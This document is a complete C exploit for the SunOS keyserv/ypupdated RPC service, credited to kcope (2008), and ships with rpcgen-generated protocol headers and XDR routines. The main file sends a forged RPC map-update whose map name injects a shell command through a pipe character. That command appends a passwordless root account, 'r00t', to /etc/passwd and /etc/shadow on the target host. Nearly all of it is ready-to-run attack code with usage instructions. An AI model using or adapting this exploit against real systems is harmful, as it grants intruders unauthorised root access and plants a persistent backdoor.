ypk.c:
/*update: kcope/year2008/tested on SunOS 5.10//

  KEYSERV/YPUPDATED (SunOS 4.1.3/RPC SERVICES)

  If we send an MAP UPDATE to a remote YPUPDATED (via KEYSERV) it executes a shell through which extra commands may be launched  on the remote host by passing '|shell command'.
i.e. the COMM variable contains a pipe character after which a
  command may be passed. You may change the command by changing this.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <rpc/rpc.h>

#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255

typedef struct{
unsigned int yp_buf_len;
char * yp_buf_val;

} yp_buf;

struct ypupdate_args{
char * mapname;
yp_buf key;
yp_buf datum;

};

typedef struct ypupdate_args ypupdate_args;

#ifdef __cplusplus
extern "C" bool_t xdr_ypupdate_args(XDR *,ypupdate_args *);
#elif __STDC__
extern bool_t xdr_ypupdate_args(XDR *,ypupdate_args *);
#else
bool_t xdr_ypupdate_args();
#endif

void main(argc, argv)
int argc;
char *argv[];
{

CLIENT * cli;

unsigned long prog=100028;
unsigned int vers=1;

struct sockaddr_in skn;
struct timeval timeVal;
struct hostent * hostEnt;

ypupdate_args ypArg;
unsigned long rtnval;

unsigned int desc;

char * comm = "|echo \"r00t::0:0:Super-User die zweite:/:/sbin/sh\" >>
/etc/passwd;echo \"r00t::6445::::::\" >> /etc/shadow;";

if(argc<2) {
  printf("example: yxp target\n");
  exit(1);
}

timeVal.tv_usec=0;
timeVal.tv_sec=15;
desc=RPC_ANYSOCK;

ypArg.datum.yp_buf_val="x";
ypArg.datum.yp_buf_len=strlen(ypArg.datum.yp_buf_val)+1;

ypArg.key.yp_buf_val="x";
ypArg.key.yp_buf_len=strlen(ypArg.key.yp_buf_val)+1;

ypArg.mapname=comm;

if ((hostEnt=gethostbyname(argv[1]))==NULL){
  printf("gethostbyname failure\n");
  exit(1);
}

skn.sin_family=AF_INET;skn.sin_port=htons(0);
bcopy(hostEnt->h_addr,&skn.sin_addr.s_addr,4);

if ((cli=clntudp_create(&skn,prog,vers,timeVal,&desc))==NULL){
  printf("clntudp_create failure\n");
  exit(1);
}

cli->cl_auth=authunix_create("localhost",0,0,0,0);

clnt_call(cli,1,xdr_ypupdate_args,&ypArg,xdr_u_int,&rtnval,timeVal);

}

ypupdate_prot.h:
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/

#ifndef _YPUPDATE_PROT_H_RPCGEN
#define _YPUPDATE_PROT_H_RPCGEN

#include <rpc/rpc.h>

/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */

/*
* Compiled from ypupdate_prot.x using rpcgen
* This is NOT source code!
* DO NOT EDIT THIS FILE!
*/
#define MAXMAPNAMELEN 255
#define MAXYPDATALEN 1023
#define MAXERRMSGLEN 255

typedef struct {
u_int yp_buf_len;
char *yp_buf_val;

} yp_buf;

#ifdef __cplusplus
extern "C" bool_t xdr_yp_buf(XDR *, yp_buf*);
#elif __STDC__
extern bool_t xdr_yp_buf(XDR *, yp_buf*);
#else /* Old Style C */
bool_t xdr_yp_buf();
#endif /* Old Style C */

struct ypupdate_args {
char *mapname;
yp_buf key;
yp_buf datum;


};

typedef struct ypupdate_args ypupdate_args;
#ifdef __cplusplus
extern "C" bool_t xdr_ypupdate_args(XDR *, ypupdate_args*);
#elif __STDC__
extern bool_t xdr_ypupdate_args(XDR *, ypupdate_args*);
#else /* Old Style C */
bool_t xdr_ypupdate_args();
#endif /* Old Style C */

struct ypdelete_args {
char *mapname;
yp_buf key;


};

typedef struct ypdelete_args ypdelete_args;
#ifdef __cplusplus
extern "C" bool_t xdr_ypdelete_args(XDR *, ypdelete_args*);
#elif __STDC__
extern bool_t xdr_ypdelete_args(XDR *, ypdelete_args*);
#else /* Old Style C */
bool_t xdr_ypdelete_args();
#endif /* Old Style C */

#define YPU_PROG ((u_long)100028)
#define YPU_VERS ((u_long)1)

#ifdef __cplusplus
#define YPU_CHANGE ((u_long)1)
extern "C" u_int * ypu_change_1(ypupdate_args *, CLIENT *);
extern "C" u_int * ypu_change_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_INSERT ((u_long)2)
extern "C" u_int * ypu_insert_1(ypupdate_args *, CLIENT *);
extern "C" u_int * ypu_insert_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_DELETE ((u_long)3)
extern "C" u_int * ypu_delete_1(ypdelete_args *, CLIENT *);
extern "C" u_int * ypu_delete_1_svc(ypdelete_args *, struct svc_req *);
#define YPU_STORE ((u_long)4)
extern "C" u_int * ypu_store_1(ypupdate_args *, CLIENT *);
extern "C" u_int * ypu_store_1_svc(ypupdate_args *, struct svc_req *);

#elif __STDC__
#define YPU_CHANGE ((u_long)1)
extern u_int * ypu_change_1(ypupdate_args *, CLIENT *);
extern u_int * ypu_change_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_INSERT ((u_long)2)
extern u_int * ypu_insert_1(ypupdate_args *, CLIENT *);
extern u_int * ypu_insert_1_svc(ypupdate_args *, struct svc_req *);
#define YPU_DELETE ((u_long)3)
extern u_int * ypu_delete_1(ypdelete_args *, CLIENT *);
extern u_int * ypu_delete_1_svc(ypdelete_args *, struct svc_req *);
#define YPU_STORE ((u_long)4)
extern u_int * ypu_store_1(ypupdate_args *, CLIENT *);
extern u_int * ypu_store_1_svc(ypupdate_args *, struct svc_req *);

#else /* Old Style C */
#define YPU_CHANGE ((u_long)1)
extern u_int * ypu_change_1();
extern u_int * ypu_change_1_svc();
#define YPU_INSERT ((u_long)2)
extern u_int * ypu_insert_1();
extern u_int * ypu_insert_1_svc();
#define YPU_DELETE ((u_long)3)
extern u_int * ypu_delete_1();
extern u_int * ypu_delete_1_svc();
#define YPU_STORE ((u_long)4)
extern u_int * ypu_store_1();
extern u_int * ypu_store_1_svc();
#endif /* Old Style C */

#endif /* !_YPUPDATE_PROT_H_RPCGEN */

ypupdate_prot_xdr.c:
/*
* Please do not edit this file.
* It was generated using rpcgen.
*/

#include "ypupdate_prot.h"
/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */

/*
* Compiled from ypupdate_prot.x using rpcgen
* This is NOT source code!
* DO NOT EDIT THIS FILE!
*/

bool_t
xdr_yp_buf(XDR *xdrs, yp_buf *objp)
{

  register long *buf;

  if (!xdr_bytes(xdrs, (char **)&objp->yp_buf_val, (u_int
*)&objp->yp_buf_len, MAXYPDATALEN)) {
   return (FALSE);
  }
return (TRUE);

}

bool_t
xdr_ypupdate_args(XDR *xdrs, ypupdate_args *objp)
{
  register long *buf;

  if (!xdr_string(xdrs, &objp->mapname, MAXMAPNAMELEN)) {
   return (FALSE);
  }
  if (!xdr_yp_buf(xdrs, &objp->key)) {
   return (FALSE);
  }
  if (!xdr_yp_buf(xdrs, &objp->datum)) {
   return (FALSE);
  }
return (TRUE);

}

bool_t
xdr_ypdelete_args(XDR *xdrs, ypdelete_args *objp)
{
  register long *buf;
  if (!xdr_string(xdrs, &objp->mapname, MAXMAPNAMELEN)) {
   return (FALSE);
  }
  if (!xdr_yp_buf(xdrs, &objp->key)) {
   return (FALSE);
  }
return (TRUE);

}